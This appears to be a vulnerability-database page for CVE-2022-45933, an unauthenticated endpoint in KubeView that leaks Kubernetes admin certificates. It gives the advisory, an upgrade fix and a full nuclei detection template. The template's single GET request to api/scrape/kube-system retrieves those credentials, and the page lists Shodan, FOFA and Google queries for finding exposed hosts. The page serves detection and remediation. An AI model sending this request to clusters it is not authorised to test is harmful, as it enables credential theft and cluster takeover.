Browse / CVEs / CVE-2022-45933
CVE-2022-45933· kubeview project / kubeview· CWE-306
KubeView <=0.1.31 - Information Disclosure
KubeView through 0.1.31 is susceptible to information disclosure. An attacker can obtain control of a Kubernetes cluster because api/scrape/kube-system does not require authentication and retrieves certificate files that can be used for authentication as kube-admin. An attacker can thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
Impact
Unauthenticated attackers can access Kubernetes certificate files through the unauthenticated api/scrape/kube-system endpoint, potentially obtaining kube-admin credentials and gaining complete control over the Kubernetes cluster.
Fix
Upgrade KubeView to a version higher than 0.1.31 to mitigate the information disclosure vulnerability (CVE-2022-45933).
How to confirm it
Send: GET {{BaseURL}}/api/scrape/kube-system
Positive when: contains "BEGIN CERTIFICATE" and "END CERTIFICATE" and "kubernetes.io" AND status 200Run it with nuclei: nuclei -id CVE-2022-45933 -u <target>
The full check
id: CVE-2022-45933
info:
name: KubeView <=0.1.31 - Information Disclosure
author: For3stCo1d
severity: critical
description: |
KubeView through 0.1.31 is susceptible to information disclosure. An attacker can obtain control of a Kubernetes cluster because api/scrape/kube-system does not require authentication and retrieves certificate files that can be used for authentication as kube-admin. An attacker can thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
Unauthenticated attackers can access Kubernetes certificate files through the unauthenticated api/scrape/kube-system endpoint, potentially obtaining kube-admin credentials and gaining complete control over the Kubernetes cluster.
remediation: |
Upgrade KubeView to a version higher than 0.1.31 to mitigate the information disclosure vulnerability (CVE-2022-45933).
reference:
- https://github.com/benc-uk/kubeview/issues/95
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45933
- https://nvd.nist.gov/vuln/detail/CVE-2022-45933
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-45933
cwe-id: CWE-306
epss-score: 0.51696
epss-percentile: 0.98955
cpe: cpe:2.3:a:kubeview_project:kubeview:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: kubeview_project
product: kubeview
shodan-query:
- http.title:"KubeView"
- http.title:"kubeview"
- http.favicon.hash:-379154636
fofa-query:
- icon_hash=-379154636
- title="kubeview"
google-query: intitle:"kubeview"
tags: cve,cve2022,kubeview,kubernetes,exposure,kubeview_project,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/scrape/kube-system"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'BEGIN CERTIFICATE'
- 'END CERTIFICATE'
- 'kubernetes.io'
condition: and
- type: status
status:
- 200References
- https://github.com/benc-uk/kubeview/issues/95
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45933
- https://nvd.nist.gov/vuln/detail/CVE-2022-45933
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
Use this check only on systems you are authorised to test. Where the data comes from